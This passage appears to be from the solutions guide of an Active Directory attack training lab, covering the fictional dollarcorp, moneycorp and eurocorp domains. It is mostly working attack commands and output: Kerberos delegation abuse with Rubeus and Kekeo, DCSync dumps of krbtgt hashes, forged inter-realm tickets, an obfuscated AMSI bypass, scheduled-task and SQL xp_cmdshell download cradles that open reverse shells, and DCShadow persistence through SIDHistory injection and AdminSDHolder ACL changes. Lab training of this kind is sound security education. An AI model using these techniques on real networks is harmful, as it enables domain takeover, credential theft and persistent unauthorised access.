TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~
dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
mimikatz(powershell) # kerberos::ptt
TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~
dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi
* File:
'TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs
~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi': OK
Directory: \\dcorp-mssql.dollarcorp.moneycorp.local\c$
In the below command, we request a TGT for websvc using its NTLM hash to get a TGS for websvc as the
Domain Administrator – Administrator. Then the TGS used to access the service specified in the
/msdsspn parameter (which is filesystem on dcopr-mssql):
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFSjCCBUagAwIBBaED[snip]
doIGHDCCBhigAwIBBaED[snip]
doIHYzCCB1+gAwIBBaED[snip]
[+] Ticket successfully imported!
PS C:\AD\Tools> klist
PS C:\AD\Tools> ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$
Directory: \\dcorp-mssql.dollarcorp.moneycorp.local\c$
For the next task, enumerate the computer accounts with constrained delegation enabled using
PowerView dev:
logoncount : 22
badpasswordtime : 2/18/2019 6:39:39 AM
distinguishedname : CN=DCORP-
ADMINSRV,OU=Applocked,DC=dollarcorp,DC=moneycorp,DC=local
objectclass : {top, person, organizationalPerson, user...}
badpwdcount : 0
lastlogontimestamp : 2/17/2019 5:24:52 AM
objectsid : S-1-5-21-1874506631-3219952063-538504511-1114
samaccountname : DCORP-ADMINSRV$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
countrycode : 0
cn : DCORP-ADMINSRV
accountexpires : NEVER
whenchanged : 2/17/2019 4:20:01 PM
instancetype : 4
usncreated : 14594
objectguid : eda89f4e-dfec-429a-8b78-fe55624b85c9
operatingsystem : Windows Server 2016 Standard
operatingsystemversion : 10.0 (14393)
lastlogoff : 12/31/1600 4:00:00 PM
msds-allowedtodelegateto : {TIME/dcorp-dc.dollarcorp.moneycorp.LOCAL,
TIME/dcorp-DC}
objectcategory :
CN=Computer,CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dscorepropagationdata : {2/19/2019 1:04:02 PM, 2/19/2019 12:55:49 PM,
2/19/2019 12:55:49 PM, 2/17/2019 1:42:26
PM...}
serviceprincipalname : {TERMSRV/DCORP-ADMINSRV, TERMSRV/dcorp-
adminsrv.dollarcorp.moneycorp.local,
WSMAN/dcorp-adminsrv, WSMAN/dcorp-
adminsrv.dollarcorp.moneycorp.local...}
lastlogon : 2/19/2019 7:09:48 AM
We have the hash of dcorp-adminsrv$ from dcorp-adminsrv machine. First we are going to use Kekeo to
abuse it. Let’s request a TGT. Please note that the hash of dcorp-adminsrv$ may be different for you in
the lab:
PS C:\AD\Tools\kekeo\x64> .\kekeo.exe
Since there is no SNAME validation, we can request TGS for time and also ldap service on dcorp-dc as
the domain administrator - Administrator:
mimikatz(powershell) # kerberos::ptt
TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~
dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi
Now, using this TGS, we can use DCSync from mimikatz without DA privileges:
** SAM ACCOUNT **
Credentials:
Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
lm - 0: b14d886cf45e2efb5170d4d9c4085aa2
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 6cb7f438bf5c099fe4d029ebb5c6e08e
* Primary:Kerberos-Newer-Keys *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Default Iterations : 4096
Credentials
* Primary:Kerberos *
Default Salt : DOLLARCORP.MONEYCORP.LOCALkrbtgt
Credentials
des_cbc_md5 : bf5d7319947f54c7
* Packages *
[snip]
Next, let's abuse constrained delegation of dcorp-adminsrv$ using Rubeus. Note the /altservice
parameter. That allows us to run the DCSync attack:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFvjCCBbqgAwIBBaEDA[snip]
doIGUTCCBk2gAwIBBaEDA[snip]
doIHZTCCB2GgAwIBBaEDA[snip]
[+] Ticket successfully imported!
PS C:\AD\Tools> klist
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"lsadump::dcsync
/user:dcorp\krbtgt"'
** SAM ACCOUNT **
Credentials:
Hash NTLM: ff46a9d8bd66c6efd77603da26796f35
ntlm- 0: ff46a9d8bd66c6efd77603da26796f35
lm - 0: b14d886cf45e2efb5170d4d9c4085aa2
[snip]
Solution
We need the trust key for the trust between dollarcorp and moneycrop, which can be retrieved using
mimikatz. Run the below command as DA. Please note that the trust key may be differnet in your lab:
PS C:\WINDOWS\system32> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\WINDOWS\system32> cd C:\AD\Tools\
PS C:\AD\Tools> $sess = New-PSSession -ComputerName dcorp-
dc.dollarcorp.moneycorp.local
PS C:\AD\Tools> Enter-PSSession -Session $sess
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> S`eT-
It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE](
"{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -
VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -
f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'
s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -
f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f
('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
[dcorp-dc.dollarcorp.moneycorp.local]: PS C:\Users\svcadmin\Documents> exit
Create the inter-realm TGT by running the below command on your machine:
PS C:\AD\Tools\kekeo_old> Invoke-Mimikatz -Command '"kerberos::golden
/user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-
1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-
700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt
/target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Next, create a TGS for a service (CIFS) in the parent domain (moneycorp.local):
.#####. AskTGS Kerberos client 1.0 (x86) built on Dec 8 2016 00:31:13
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' * * */
Ticket : C:\AD\Tools\kekeo_old\trust_tkt.kirbi
Service : krbtgt / moneycorp.local @ dollarcorp.moneycorp.local
Principal : Administrator @ dollarcorp.moneycorp.local
> CIFS/mcorp-dc.moneycorp.local
* Ticket in file 'CIFS.mcorp-dc.moneycorp.local.kirbi'
Now, try to access the target service – a success means escalation to the parent DA:
PS C:\AD\Tools\kekeo_old> ls \\mcorp-dc.moneycorp.local\c$
Directory: \\mcorp-dc.moneycorp.local\c$
We can also use Rubeus to perform the above attack. We request and inject a TGS in the below
command. Note that we are still using the same TGT that we created using Invoke-Mimikatz previously:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIFDDCCBQigAwIBBaEDA[snip]
ServiceName : cifs/mcorp-dc.moneycorp.local
ServiceRealm : MONEYCORP.LOCAL
UserName : Administrator
UserRealm : dollarcorp.moneycorp.local
[snip]
PS C:\AD\Tools> klist
PS C:\AD\Tools> ls \\mcorp-dc.moneycorp.local\c$
Directory: \\mcorp-dc.moneycorp.local\c$
Solution
We already have the krbtgt hash of dollarcorp. Let's create the inter-realm TGT:
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
* File: 'C:\AD\Tools\krbtgt_tkt.kirbi': OK
SystemDirectory : C:\Windows\system32
Organization :
BuildNumber : 14393
RegisteredUser : Windows User
SerialNumber : 00378-00000-00000-AA739
Version : 10.0.14393
Let’s extract credential of the Enterprise Administrator which can be used later for DCShadow. We will
schedule a task on the forest root DC and execute a reverse shell on it. First, start a listener:
PS C:\AD\Tools> . .\powercat.ps1
PS C:\AD\Tools> powercat -l -v -p 443 -t 1000
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Console
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 443)
Now, using the privileges which we achieved above, let's schedule a task and run it as SYSTEM on
mcorp-dc. We will use Invoke-PowerShellTcp from Nishang but modify it to make a function call within
the script:
PS C:\AD\Tools> schtasks /create /S mcorp-dc.moneycorp.local /SC Weekly /RU
"NT Authority\SYSTEM" /TN "STCheckx" /TR "powershell.exe -c 'iex (New-Object
Net.WebClient).DownloadString(''http://172.16.100.x/Invoke-
PowerShellTcpEx.ps1''')'"
SUCCESS: The scheduled task "STCheckx" has successfully been created.
On the listener:
PS C:\AD\Tools> powercat -l -v -p 443 -t 1000
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Console
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 443)
VERBOSE: Connection from [172.16.1.1] port [tcp] accepted (source port
54489)
VERBOSE: Setting up Stream 2...
VERBOSE: Both Communication Streams Established. Redirecting Data Between
Streams...
Windows PowerShell running as user MCORP-DC$ on MCORP-DC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> hostname
mcorp-dc
PS C:\Windows\system32> whoami
nt authority\system
Download and execute Invoke-Mimikatz in memory. Either obfuscate it or disable AMSI for the reverse
shell:
[snip]
[snip]
Solution
With DA privileges, run the following command to retrieve the trust key for the trust between dollarcorp
and eurocorp:
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
PS C:\AD\Tools\kekeo_old> .\asktgs.exe
C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi CIFS/eurocorp-dc.eurocorp.local
.#####. AskTGS Kerberos client 1.0 (x86) built on Dec 8 2016 00:31:13
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' * * */
Ticket : C:\AD\Tools\kekeo_old\trust_forest_tkt.kirbi
Service : krbtgt / eurocorp.local @ dollarcorp.moneycorp.local
Principal : Administrator @ dollarcorp.moneycorp.local
> CIFS/eurocorp-dc.eurocorp.local
* Ticket in file 'CIFS.eurocorp-dc.eurocorp.local.kirbi'
PS C:\AD\Tools\kekeo_old> ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
Directory: \\eurocorp-dc.eurocorp.local\SharedwithDCorp
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
doIEvjCCBLqgAwIBBaEDA[snip]
ServiceName : cifs/eurocorp-dc.eurocorp.local
ServiceRealm : EUROCORP.LOCAL
UserName : Administrator
UserRealm : dollarcorp.moneycorp.local
[snip]
PS C:\AD\Tools> klist
PS C:\AD\Tools> ls \\eurocorp-dc.eurocorp.local\SharedwithDCorp\
Directory: \\eurocorp-dc.eurocorp.local\SharedwithDCorp
Solution
Let’s start with enumerating SQL servers in the domain and if studentx has privileges to connect to any
of them. We can use PowerUpSQL module for that:
PS C:\AD\Tools\PowerUpSQL-master> Import-Module .\PowerupSQL.psd1
PS C:\AD\Tools\PowerUpSQL-master> Get-SQLInstanceDomain | Get-SQLServerinfo -
Verbose
VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local,1433 : Connection Failed.
VERBOSE: dcorp-mgmt.dollarcorp.moneycorp.local : Connection Failed.
VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local,1433 : Connection Success.
VERBOSE: dcorp-mssql.dollarcorp.moneycorp.local : Connection Success.
VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local,1433 : Connection Failed.
VERBOSE: dcorp-sql1.dollarcorp.moneycorp.local : Connection Failed.
ComputerName : dcorp-mssql.dollarcorp.moneycorp.local
Instance : DCORP-MSSQL
DomainName : dcorp
ServiceProcessID : 2848
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered : No
SQLServerVersionNumber : 14.0.1000.169
SQLServerMajorVersion : 2017
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture : X64
OsVersionNumber : SQL
Currentlogin : dcorp\studentx
IsSysadmin : No
ActiveSessions : 1
ComputerName : dcorp-mssql.dollarcorp.moneycorp.local
Instance : DCORP-MSSQL
DomainName : dcorp
ServiceProcessID : 2848
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption : 0
Clustered : No
SQLServerVersionNumber : 14.0.1000.169
So, we can connect to dcorp-mssql. Using HeidiSQL client, let’s login to dcorp-mssql using windows
authentication of studentx. After login, enumerate linked databases on dcorp-mssql:
select * from master..sysservers
So, there is a database link to dcorp-sql1 from dcorp-mssql. Let’s enumerate further links from dcorp-
sql1. This can be done with the help of openquery:
select * from openquery("DCORP-SQL1",'select * from master..sysservers')
We can also use Get-SQLServerLinkCrawl for crawling the database links automatically:
If xp_cmdshell is enabled (or RPC out is true – which is set to false in this case), it is possible to execute
commands on eu-sql using linked databases. To avoid dealing with a large number of quotes and
escapes, we can use the following command:
PS C:\AD\Tools\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance dcorp-
mssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'whoami'"
Let’s try to execute a PowerShell download execute cradle to execute a PowerShell reverse shell:
PS C:\AD\Tools> . .\powercat.ps1
PS C:\AD\Tools> powercat -l -p 443 -v -t 1000
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Console
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 443)
VERBOSE: Connection from [172.16.15.17] port [tcp] accepted (source port
50692)
VERBOSE: Setting up Stream 2...
VERBOSE: Both Communication Streams Established. Redirecting Data Between
Streams...
PS C:\Windows\system32> whoami
nt authority\network service
PS C:\Windows\system32> hostname
eu-sql
PS C:\Windows\system32>
PS C:\Windows\system32> $env:userdnsdomain
eu.eurocorp.local
Solution
DCShadow is a forest persistence mechanism. At the time of writing, it works only if your machine is a
part of the forest root domain. So, you need to make your dcorp-studentx machine a part of the
moneycorp.local domain. Studentx user is also a member of the Users group on moneycorp.local which
allows you to join your dcorp-studentx machine to moneycorp.local. You simply need to rename your
machine to mcorp-studentx and change the domain to moneycorp.local.
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !processtoken
Token from process 0 to process 0
* from 0 will take SYSTEM token
* to 0 will take all 'cmd' and 'mimikatz' process
Token from 4/System
* to 3192/mimikatz.exe
Now, let's provide the details required to push the attributes. For the first task, we want to modify SPN
of rootxuser:
** Domain Info **
Domain: DC=moneycorp,DC=local
Configuration: CN=Configuration,DC=moneycorp,DC=local
Schema: CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 511601
** Server Info **
Server: mcorp-dc.moneycorp.local
InstanceId : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
Fake Server (not already registered): mcorp-studentx.moneycorp.local
** Attributes checking **
** Objects **
#0: rootxuser
DN:CN=rootxUser,CN=Users,DC=moneycorp,DC=local
servicePrincipalName (1.2.840.113556.1.4.771-90303 rev 0):
DCReplication/DCx
(440043005200650070006c00690063006100740069006f006e002f00440043000000)
** Starting server **
And push the attributes from mimikatz which runs with DA privileges:
mimikatz # privilege::debug
Privilege '20' OK
Domain: DC=moneycorp,DC=local
Configuration: CN=Configuration,DC=moneycorp,DC=local
Schema: CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 511976
** Server Info **
Server: mcorp-dc.moneycorp.local
InstanceId : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
Fake Server (not already registered): mcorp-studentx.moneycorp.local
** Performing Registration **
** Performing Push **
Syncing DC=moneycorp,DC=local
Sync Done
** Performing Unregistration **
serviceprincipalname
--------------------
Replication/DCx
Sweet! For the next task, if we would like to set SIDHistory of rootxuser without using DA, the only thing
that changes is the "push". Instead of running mimikatz as DA to push the attributes, we can use Set-
DCShadowPermissions.ps1 to provide studentx minimal rights. Keep in mind that, for once, we will still
need to have DA privileges.
Run the below command from the PowerShell session running as DA:
PS C:\WINDOWS\system32> . C:\AD\Tools\Set-DCShadowPermissions.ps1
PS C:\AD\Tools> Set-DCShadowPermissions -FakeDC mcorp-studentx -
SAMAccountName rootxuser -Username studentx -Verbose
Domain: DC=moneycorp,DC=local
Configuration: CN=Configuration,DC=moneycorp,DC=local
Schema: CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 512088
** Server Info **
Server: mcorp-dc.moneycorp.local
InstanceId : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
Fake Server (not already registered): mcorp-studentx.moneycorp.local
** Attributes checking **
#0: SIDHistory
** Objects **
#0: rootxUser
** Starting server **
Now, if we push the attributes from a mimikatz instance running as studentx it will have the same effect
as that with DA:
Domain: DC=moneycorp,DC=local
Configuration: CN=Configuration,DC=moneycorp,DC=local
Schema: CN=Schema,CN=Configuration,DC=moneycorp,DC=local
dsServiceName: ,CN=Servers,CN=Default-First-Site-
Name,CN=Sites,CN=Configuration,DC=moneycorp,DC=local
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 512092
** Server Info **
Server: mcorp-dc.moneycorp.local
InstanceId : {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
InvocationId: {fb45bf45-1dd1-4c9b-9c33-164e0a8b1226}
Fake Server (not already registered): mcorp-studentx.moneycorp.local
** Performing Registration **
** Performing Push **
Syncing DC=moneycorp,DC=local
Sync Done
Now, rootxuser has Enterprise Admin privileges because of the SIDHistory we injected!
Moving on the next task, let’s get the existing ACL of the AdminSDHolder container:
PS C:\AD\Tools> (New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC
=moneycorp,DC=local")).psbase.ObjectSecurity.sddl
O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLC
SWRPWPLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRR
CWDWO;;;S-1-5-21-280534878-1496970234-700767426-519)(OA;;CR;ab721a53-1e2f-
11d0-9819-00aa0040529b;;WD)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-
d63ff4f3ccd8;;PS)(OA;;CR;ab721a53-1e2f-11d0-9819-
00aa0040529b;;PS)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-
45bc-9b07-ad6f015e5f28;RU)(OA;;RP;037088f8-0ae1-11d2-b422-
00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;4c164200-20c0-
11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-
00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-
45bc-9b07-ad6f015e5f28;RU)(OA;;RP;bc0ac240-79a9-11d0-9020-
00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;bc0ac240-79a9-
11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-
ad6f015e5f28;RU)(OA;;LCRPLORC;;4828cc14-1437-45bc-9b07-
ad6f015e5f28;RU)(OA;;LCRPLORC;;bf967aba-0de6-11d0-a285-
00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-
11d0-a285-00aa003049e2;RU)(OA;;RP;5f202010-79a5-11d0-9020-
00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;;RP;4c164200-20c0-
11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-
ad6f015e5f28;RU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-
560)(OA;;RPWP;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-
561)(OA;;RPWP;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-
561)(OA;;RPWP;bf967a7f-0de6-11d0-a285-00aa003049e2;;CA)
objectsid
---------
S-1-5-21-1874506631-3219952063-538504511-1213
mimikatz # lsadump::dcshadow
/object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local
/attribute:ntSecurityDescriptor
/value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;
[snip]
Now, with DA privileges (or after modifying permissions), push the attributes:
Now, if we list the ACL of AdminSDHolder container again we will see that studentx now has Full
Control permissions:
PS C:\Users> (New-Object
System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC
=moneycorp,DC=local")).psbase.ObjectSecurity.sddl
O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLC
SWRPWPLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPLOCRSDRCWDWO;;;S-1-5-21-1874506631-
3219952063-538504511-
1213)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;DA)(A;;CCDCLCSWRPWPLOCRRCWDWO;;;S-1-5-21-
280534878-1496970234-700767426-519)(OA;;CR;ab721a53-1e2f-11d0-9819-
00aa0040529b;;WD)(OA;;CR;ab721a53-1e2f-11d0-9819-
00aa0040529b;;PS)(OA;CI;RPWPCR;91e647de-d96f-4b70-9557-
d63ff4f3ccd8;;PS)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-
11d0-a285-00aa003049e2;RU)(OA;;RP;4c164200-20c0-11d0-a768-
00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;RP;59ba2f42-79a2-